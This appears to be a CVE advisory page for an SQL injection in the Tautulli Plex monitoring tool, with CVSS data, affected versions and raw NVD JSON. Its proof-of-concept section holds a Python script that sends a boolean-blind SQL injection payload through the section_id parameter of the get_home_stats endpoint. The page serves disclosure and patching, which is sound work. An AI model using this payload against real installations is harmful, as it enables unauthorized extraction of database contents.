Security Vulnerability Report
中文
CVE-2026-31799 CVSS 4.9 MEDIUM

CVE-2026-31799

Published: 2026-03-30 20:16:21
Last Modified: 2026-04-02 16:40:46

Description

Tautulli is a Python based monitoring and tracking tool for Plex Media Server. From version 2.14.2 to before version 2.17.0 for parameters "before" and "after" and from version 2.1.0-beta to before version 2.17.0 for parameters "section_id" and "user_id", the /api/v2?cmd=get_home_stats endpoint passes the section_id, user_id, before, and after query parameters directly into SQL via Python %-string formatting without parameterization. An attacker who holds the Tautulli admin API key can inject arbitrary SQL and exfiltrate any value from the Tautulli SQLite database via boolean-blind inference. This issue has been patched in version 2.17.0.

CVSS Details

CVSS Score
4.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:tautulli:tautulli:*:*:*:*:*:*:*:* - VULNERABLE
Tautulli 2.14.2 至 2.17.0 之前 (before, after参数)
Tautulli 2.1.0-beta 至 2.17.0 之前 (section_id, user_id参数)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target configuration target_url = "http://localhost:8181/api/v2" admin_api_key = "YOUR_ADMIN_API_KEY" # High privileges required # Vulnerable parameters: section_id, user_id, before, after # Payload for boolean-based blind SQL injection # Example: Checking if the first character of the SQLite version is '3' payload = "1' AND substr(sqlite_version(), 1, 1) = '3'-- " params = { "cmd": "get_home_stats", "apikey": admin_api_key, "section_id": payload # Injecting into section_id } try: response = requests.get(target_url, params=params) if response.status_code == 200: # Analyze response content to determine True/False condition print("Request sent. Check response content/time for boolean inference.") print(response.text) else: print(f"Request failed with status code: {response.status_code}") except Exception as e: print(f"An error occurred: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-31799", "sourceIdentifier": "[email protected]", "published": "2026-03-30T20:16:21.350", "lastModified": "2026-04-02T16:40:46.130", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Tautulli is a Python based monitoring and tracking tool for Plex Media Server. From version 2.14.2 to before version 2.17.0 for parameters \"before\" and \"after\" and from version 2.1.0-beta to before version 2.17.0 for parameters \"section_id\" and \"user_id\", the /api/v2?cmd=get_home_stats endpoint passes the section_id, user_id, before, and after query parameters directly into SQL via Python %-string formatting without parameterization. An attacker who holds the Tautulli admin API key can inject arbitrary SQL and exfiltrate any value from the Tautulli SQLite database via boolean-blind inference. This issue has been patched in version 2.17.0."}, {"lang": "es", "value": "Tautulli es una herramienta de monitoreo y seguimiento basada en Python para Plex Media Server. Desde la versión 2.14.2 hasta antes de la versión 2.17.0 para los parámetros 'before' y 'after', y desde la versión 2.1.0-beta hasta antes de la versión 2.17.0 para los parámetros 'section_id' y 'user_id', el endpoint /api/v2?cmd=get_home_stats pasa los parámetros de consulta section_id, user_id, before y after directamente a SQL a través del formato de cadena % de Python sin parametrización. Un atacante que posee la clave API de administrador de Tautulli puede inyectar SQL arbitrario y exfiltrar cualquier valor de la base de datos SQLite de Tautulli mediante inferencia booleana a ciegas. Este problema ha sido parcheado en la versión 2.17.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-20"}, {"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:tautulli:tautulli:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.1.0", "versionEndExcluding": "2.17.0", "matchCriteriaId": "0E44FE57-B329-4236-9FBB-277FF2A9FB00"}]}]}], "references": [{"url": "https://github.com/Tautulli/Tautulli/releases/tag/v2.17.0", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/Tautulli/Tautulli/security/advisories/GHSA-g47q-8j8w-m63q", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}